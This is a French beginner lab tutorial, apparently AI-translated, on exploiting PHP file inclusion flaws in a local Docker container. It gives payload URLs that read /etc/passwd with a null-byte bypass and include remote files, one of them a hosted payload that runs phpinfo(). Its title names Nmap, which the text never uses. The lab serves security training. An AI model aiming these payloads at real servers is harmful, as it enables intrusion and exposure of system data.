Exploiter les vulnérabilités d'inclusion de fichiers avec Nmap

Beginner

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire (lab), vous apprendrez à exploiter les vulnérabilités d'inclusion de fichiers, à la fois localement et à distance. Les vulnérabilités d'inclusion de fichiers se produisent lorsque les entrées utilisateur ne sont pas correctement nettoyées et sont utilisées pour inclure des fichiers sur le serveur. Cela peut entraîner l'exposition de données sensibles, l'exécution de code à distance et d'autres conséquences graves. En comprenant les techniques et les charges utiles (payloads) utilisées dans ce laboratoire, vous aurez l'expérience pratique de l'identification et de l'exploitation de ces vulnérabilités.


Skills Graph

Configuration de l'environnement

Dans cette phase, nous allons configurer un environnement de laboratoire (lab) pour perfectionner nos compétences dans l'exploitation des vulnérabilités d'inclusion de fichiers.

Tout d'abord, exécutez la commande suivante pour démarrer l'application web vulnérable :

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

Cette commande lance un conteneur Docker avec une application web vulnérable qui fonctionne sur le port 81.

Ensuite, lancez votre navigateur web et accédez à http://127.0.0.1:81. Vous devriez voir la page d'accueil de l'application web.

Identification de la vulnérabilité d'inclusion de fichiers

Dans cette phase, nous allons nous pencher sur l'identification des vulnérabilités possibles d'inclusion de fichiers en examinant attentivement les paramètres d'URL.

Sur la page d'accueil de l'application web, appuyez sur les boutons "Submit" et "Login". Faites attention à l'URL dans la barre d'adresse de votre navigateur. Vous devriez remarquer que l'URL change en fonction du paramètre page, par exemple http://127.0.0.1:81/index.php?page=submit et http://127.0.0.1:81/index.php?page=login.

Ce modèle indique que l'application web pourrait gérer les entrées utilisateur de manière non sécurisée, ce qui pourrait potentiellement entraîner une vulnérabilité d'inclusion de fichiers.

Confirmation de la vulnérabilité

Dans cette phase, nous allons explorer comment détecter une vulnérabilité d'inclusion de fichiers. Il existe deux méthodes courantes :

  1. Méthode du paramètre tableau (Array Parameter Method) : Modifiez le paramètre page en un tableau. Par exemple, http://localhost:81/index.php?page[]=test. Si vous rencontrez un message d'avertissement ou d'erreur mentionnant "include" ou "failed to open stream", cela indique une vulnérabilité potentielle car l'application tente d'inclure des fichiers en fonction des entrées utilisateur.

  2. Test d'inclusion de fichier local (Local File Inclusion Test) : Essayez d'inclure un fichier local présent sur le serveur, comme /etc/passwd sur Linux ou C:\Windows\System32\drivers\etc\hosts sur Windows. Si le contenu du fichier est affiché, cela confirme une vulnérabilité d'inclusion de fichier local.

Pour cette leçon, nous utiliserons la deuxième méthode en incluant le fichier /etc/passwd :

http://localhost:81/index.php?page=/etc/passwd

Vous verrez probablement un message d'erreur indiquant que l'application tente d'inclure /etc/passwd.php au lieu de /etc/passwd. Cela se produit car l'application ajoute automatiquement .php au fichier inclus.

Pour contourner ce problème, nous pouvons utiliser la technique du byte nul (%00). Le byte nul met fin à la chaîne de caractères, faisant en sorte que l'application ignore tout ce qui suit.

Essayez la charge utile (payload) suivante :

http://localhost:81/index.php?page=/etc/passwd%00

Si vous pouvez voir le contenu du fichier /etc/passwd, cela confirme la présence d'une vulnérabilité d'inclusion de fichier local.

Exploitation de l'inclusion de fichiers à distance

Dans cette phase, nous allons approfondir le concept d'inclusion de fichiers à distance (Remote File Inclusion) et ses vulnérabilités potentielles.

L'inclusion de fichiers à distance est un problème critique qui pourrait potentiellement permettre à un attaquant d'inclure des fichiers provenant de serveurs externes. Cela pourrait entraîner de graves violations de sécurité telles que l'exécution de code à distance ou l'exposition de données sensibles.

Commençons par un exemple où nous essayons d'inclure un fichier distant hébergé sur un serveur externe :

http://localhost:81/index.php?page=https://www.example.com/index.html%00

Une fois cette commande exécutée, vous devriez être en mesure de voir le contenu du fichier distant inclus dans la réponse de l'application web.

Dans un scénario réel, un attaquant hébergerait généralement sa propre charge utile malveillante sur un serveur qu'il contrôle, puis essaierait de l'inclure en exploitant la vulnérabilité d'inclusion de fichiers à distance.

À des fins de démonstration, nous utiliserons une charge utile pré - hébergée sur le site web de PentesterLab :

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

Cette charge utile déclenche la fonction phpinfo(), qui révèle des informations sur la configuration PHP du serveur.

N'oubliez pas que ceci est une démonstration d'une vulnérabilité potentielle. Lorsque vous développez vos propres applications, il est crucial de mettre en œuvre des mesures de sécurité appropriées pour prévenir de telles attaques. Dans la section suivante, nous parlerons de certaines de ces pratiques de sécurité.

Résumé

Dans ce laboratoire (lab), vous avez appris à identifier et à exploiter les vulnérabilités d'inclusion de fichiers, à la fois localement et à distance. Vous avez configuré une application web vulnérable, analysé les paramètres d'URL pour identifier les vulnérabilités potentielles, confirmé la présence de vulnérabilités d'inclusion de fichiers en utilisant différentes techniques, et enfin exploité les vulnérabilités d'inclusion de fichiers locales et à distance. Comprendre ces vulnérabilités et leurs méthodes d'exploitation est crucial pour les tests de sécurité des applications web et pour garantir la protection des données sensibles et des systèmes.